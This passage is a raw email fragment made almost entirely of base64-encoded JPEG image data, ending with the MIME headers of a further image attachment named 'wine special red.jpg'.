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 ------=_NextPart_001_0579_5A3B3665.64C95A64 Content-Type: image/jpeg; name="wine special red.jpg" Content-Transfer-Encoding: base64 Content-ID: <8530415278-2> 